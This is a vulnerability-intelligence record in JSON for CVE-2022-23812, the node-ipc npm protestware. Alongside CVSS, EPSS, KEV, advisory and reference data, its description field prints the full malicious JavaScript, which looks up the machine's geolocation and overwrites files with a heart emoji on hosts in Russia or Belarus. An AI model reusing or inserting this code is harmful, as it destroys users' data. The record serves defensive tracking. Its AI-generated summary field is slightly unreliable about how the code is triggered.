{"id":"CVE-2022-23812","published":"2022-03-16T15:45:31Z","modified":"2024-09-16T22:19:54Z","title":"Malicious Package","vendor":null,"product":null,"tier":"core","eol":null,"affectedVersions":[{"vendor":"n/a","product":"node-ipc","versions":[">= 10.1.1, < unspecified",">= unspecified, < 10.1.3"]}],"description":{"text":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","provenance":"source","from":"CVE.org"},"summary":{"text":"The malicious package is node-ipc, versions from 10.1.1 up to but not including 10.1.3, and from 11.0.0 onwards it pulls in the peacenotwar package, which carries potentially undesired behaviour. An attacker-supplied payload in the package code, which runs without any authentication or user interaction once the package is installed and used, targets machines whose IP geolocates to Russia or Belarus and overwrites matching files with a heart emoji, with the malicious code triggered over the network through a remote geolocation lookup.","provenance":"ai","model":"claude-haiku-5-5","generatedAt":"2026-10-31T22:21:42Z"},"cvss":{"score":9.8,"severity":"CRITICAL","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","provenance":"source","from":"CVE.org CNA"},"epss":{"score":0.04225,"percentile":0.91006,"date":"2026-11-02","provenance":"source"},"kev":null,"vulncheckKev":{"dateAdded":"2022-03-16","exploitedFirstSeen":"2022-03-16","ransomware":false,"evidence":[{"url":"https://samples.vx-underground.org/Papers/Malware%20Defense/Malware%20Analysis/2022/2022-03-16%20-%20CVE-2022-23812-%20RIAEvangelist-node-ipc%20is%20malware%20-%20protestware.pdf","date":"2022-03-16"}],"evidenceTotal":1,"provenance":"source"},"exploited":true,"otx":{"pulseCount":1,"pulses":[{"name":"Compromised node-ipc on npm: Credential Stealer via DNS Exfiltration","url":"https://otx.alienvault.com/pulse/6a0d8ec63100d78f2ad01e22","created":"2026-05-20"}],"provenance":"machine"},"cwes":[],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370","tags":["x_refsource_MISC"]},{"url":"https://github.com/RIAEvangelist/node-ipc/issues/236","tags":["x_refsource_MISC"]},{"url":"https://github.com/RIAEvangelist/node-ipc/issues/233","tags":["x_refsource_MISC"]},{"url":"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js","tags":["x_refsource_MISC"]},{"url":"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580","tags":["x_refsource_MISC"]},{"url":"https://security.netapp.com/advisory/ntap-20220407-0005/","tags":["x_refsource_CONFIRM"]}],"techniques":[],"reports":[],"affected":[{"ecosystem":"npm","package":"node-ipc","vulnerableRanges":[">=10.1.1, <10.1.3"],"patched":["10.1.3"],"from":["GHSA-97m3-w2cp-4xx6"],"provenance":"source"}],"advisories":[{"id":"GHSA-97m3-w2cp-4xx6","url":"https://github.com/advisories/GHSA-97m3-w2cp-4xx6","severity":"CRITICAL","ecosystem":"npm","package":"node-ipc","vulnerableRanges":[">=10.1.1, <10.1.3"],"patched":["10.1.3"],"provenance":"source","from":"GHSA"}],"euvd":{"id":"EUVD-2022-1390","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2022-1390","exploited":false,"exploitedSince":null,"provenance":"source"},"exploits":[],"exploitSources":{"pocGithub":{"count":1,"skipped":0,"earliest":"2022-03-17","earliestUrl":"https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812","repos":[{"name":"scriptzteam/node-ipc-malware-protestware-CVE-2022-23812","url":"https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812","stars":1,"created":"2022-03-17"}]},"first":{"date":"2022-03-17","source":"PoC-in-GitHub","url":"https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812"},"provenance":"source"},"exploitRefs":[],"flow":[],"timeline":[{"date":"2022-03-16","kind":"published","label":"Published (CVE.org)","url":"https://www.cve.org/CVERecord?id=CVE-2022-23812","provenance":"source"},{"date":"2022-03-16","kind":"exploited-reported","label":"Exploitation first reported (VulnCheck KEV evidence)","url":"https://samples.vx-underground.org/Papers/Malware%20Defense/Malware%20Analysis/2022/2022-03-16%20-%20CVE-2022-23812-%20RIAEvangelist-node-ipc%20is%20malware%20-%20protestware.pdf","provenance":"source"},{"date":"2022-03-17","kind":"exploit-public","label":"First public exploit: PoC-in-GitHub","url":"https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812","provenance":"source"}],"speed":{"daysToPublicExploit":1,"firstExploitFrom":"PoC-in-GitHub","daysToKev":null},"priority":{"score":65.7,"factors":[{"name":"In a KEV catalog","points":35.0,"detail":"listed in VulnCheck KEV"},{"name":"Recent KEV listing","points":0.0,"detail":"added 1692 days ago"},{"name":"Known ransomware use","points":0.0,"detail":"not known"},{"name":"EPSS percentile","points":18.2,"detail":"percentile 0.9101"},{"name":"Named in threat reports","points":0.0,"detail":"0 reports"},{"name":"Public exploit code","points":5.0,"detail":"1 PoC-in-GitHub repo"},{"name":"Mentioned in OTX pulses","points":0.68,"detail":"1 pulse"},{"name":"CVSS severity","points":6.86,"detail":"base score 9.8"},{"name":"End-of-life product","points":0.0,"detail":"supported or unknown"}]}}